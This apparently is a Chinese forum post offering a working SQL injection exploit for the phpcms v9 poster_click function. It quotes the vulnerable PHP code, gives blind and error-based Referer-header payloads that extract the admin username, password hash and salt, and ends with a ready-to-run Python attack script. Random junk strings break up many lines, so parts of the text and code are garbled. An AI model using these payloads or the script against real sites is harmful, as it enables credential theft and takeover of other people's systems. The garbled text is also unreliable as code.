phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
8 U# Y5 I* J) ^" r% X) V
7 s9 U: Y& _$ \0 m问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
6 m+ G1 K" v) R0 k6 @/ ?2 W: g. M, E$r = $this->db->get_one(array('id'=>$id));
: R: e1 n8 t, hif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
' A5 @% E1 v: i( t$ip = ip();
$area = $ip_area->get($ip);
1 Q. X- Z, h" n6 [; S5 F$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
) s- ?' x  f: ?2 X6 b$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
8 b5 R' u7 j  k0 E' _$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
: {6 t. {2 z8 [6 L9 w% p6 b5 n. theader('Location: '.$url);
}
- @2 }' O" Z( r* y2 g

# P; n, c6 x6 n* K3 T3 p' \
利用方式：
& B! Q3 U1 ~+ _8 R
: T% T, C2 p, R& p3 u1 r1、可以采用盲注入的手法：
2 @% Z& n2 g+ ?! c2 G; p
% n2 a; |1 B6 M: K! I, G! t- e- Wreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
7 g6 A0 a) |/ T. }' _$ f; j& x
通过返回页面，正常与否一个个猜解密码字段。

' I- ?0 L+ V( K1 I2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

. i# k9 M8 p$ C' o  P! ~此方法是爆错注入手法，原理自查。

" B' o4 |% D! ]

! k, \4 F: Q% ]* t; |2 U利用程序:
0 s8 u8 q3 M! ^% K% o
#!/usr/bin/env python
import httplib,sys,re

- T, U( w: L; q* m# Z0 t: Mdef attack():
1 c( U$ O0 {5 iprint “Code by Pax.Mac Team conqu3r!”
1 k) W, D6 \1 x8 O" `1 uprint “Welcome to our zone!!!”
url=sys.argv[1]
& L* @) t" i* L7 K" Rpaths=sys.argv[2]
conn = httplib.HTTPConnection(url)
" {- s( Z) r" b1 Vi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
& }* R- [2 U9 s: t“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
& _8 ]$ r+ u' Hconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
, p& P, Y4 Y! tr1 = conn.getresponse()
datas=r1.read()
% @5 S5 e, H. V( i: {! fdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
5 @5 N6 i  w. Y, N' W# h! Kconn.close()
if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
  z+ C% D  U0 u* Aprint “    phpcmsattack.py   www.paxmac.org /”
. x6 C6 Z, C. ^; B1 ?. e5 l* d( Fprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
1 p+ \: _" c: r( n) ]sys.exit(1)
' O1 y6 v! k6 Y3 H4 r4 _attack()